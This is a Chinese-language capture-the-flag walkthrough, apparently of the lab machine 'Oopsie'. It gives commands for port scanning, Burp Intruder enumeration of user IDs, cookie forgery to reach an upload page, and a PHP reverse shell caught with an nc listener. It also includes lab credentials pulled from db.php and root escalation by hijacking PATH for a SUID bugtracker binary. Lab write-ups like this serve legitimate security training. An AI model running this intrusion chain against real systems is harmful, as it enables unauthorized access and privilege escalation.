2. hack之web service
扫描机器端口
nmap -sS -A 10.10.10.28
发现开放的端口有22 和 80
打开网站
burp proxy
如上配置,将127.0.0.1:8080 代理到10.10.10.28;然后在浏览器中访问127.0.0.1:8080,在Target 中查看网站的信息
尝试打开 http://10.10.10.28/cdn-cgi/login
登陆
通过admin/MEGACORP_4dm1n!!
进行登陆,MEGACORP_4dm1n!!
为上一章节中获取到的密码。
登陆成功后点击Account
url为 http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1
说明admin账号的id为1
intruder
- Positions
通过burp->intruder 获取其它用户
点击Clear清除默认填充的占位符,选择id点击add,添加id占位符
- Payloads
执行脚本,生成1~100的数字,并Paste到Payload Options中
for i in `seq 1 100`; do echo $i; done
-
options
-
Start attack
然后点击target 并点击Start attack -
result
根据result结果发现,长度有少量不一致的响应,挨个查看这些响应,发现有个账号是86575,super admin,superadmin@megacorp.com,id为30
Uploads
点击网站菜单,打开uploads
- 打开burp-> proxy-> intercept
- 刷新uploads
- 将intercept中拦截到的请求中的Cookie调整为
user=86575;role=super admin
- 点击Forward
- uploads访问成功
上传文件
- 修改文件
/usr/share/webshells/php/php-reverse-shell.php
中的ip信息为vbox虚机ip,prot为稍后通过nc监听的端口号 - 通过intercept拦截修改cookie的方式上传文件
获取上传文件的位置
使用dirsearch枚举公共目录的Web服务器。
- 下载dirsearch
git clone https://github.com/maurosoria/dirsearch.git
- 执行dirsearch.py,扫描http服务器
python3 dirsearch/dirsearch.py -u http://10.10.10.28 -e php
监听并执行命令
nc -lvnp 1234
执行php脚本
curl http://10.10.10.28/uploads/test.php
如果执行curl 404,改下shell脚本的名字,重新上传
获取数据库连接信息
$ cat /var/www/html/cdn-cgi/login/db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
当前登陆用户信息
$ id robert
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
通过查询文件系统判断该用户拥有访问权限的目录
$ find / -type f -group bugtracker 2>/dev/null
/usr/bin/bugtracker
上述命令查找归属组为bugtracker的文件
切换robert账号
$ su robert
su: must be run from a terminal
执行以下内容SHELL=/bin/bash script -q /dev/null
并点击 enter
> SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm
再次su robert
并输入密码M3g4C0rpUs3r!
执行bugtracker
/usr/bin/bugtracker
好像可以根据id输出bug报告
查看bugtracker内容
通过strings
命令查看/usr/bin/bugtracker的内容
$strings /usr/bin/bugtracker
······
------------------
: EV Bug Tracker :
------------------
Provide Bug ID:
---------------
cat /root/reports/
;*3$"
······
我们发现上述脚本的实质操作为,拼接cat命令并执行,如输入的是1则最终执行的为cat /root/reports/1
获取root权限
- 将自定义cat命令指向sh
echo '/bin/sh' > cat
- 修改cat执行权限
chmod +x cat
- 将当前目录添加PATH
export PATH=/tmp:$PATH
- 执行
/usr/bin/bugtracker
,获取root权限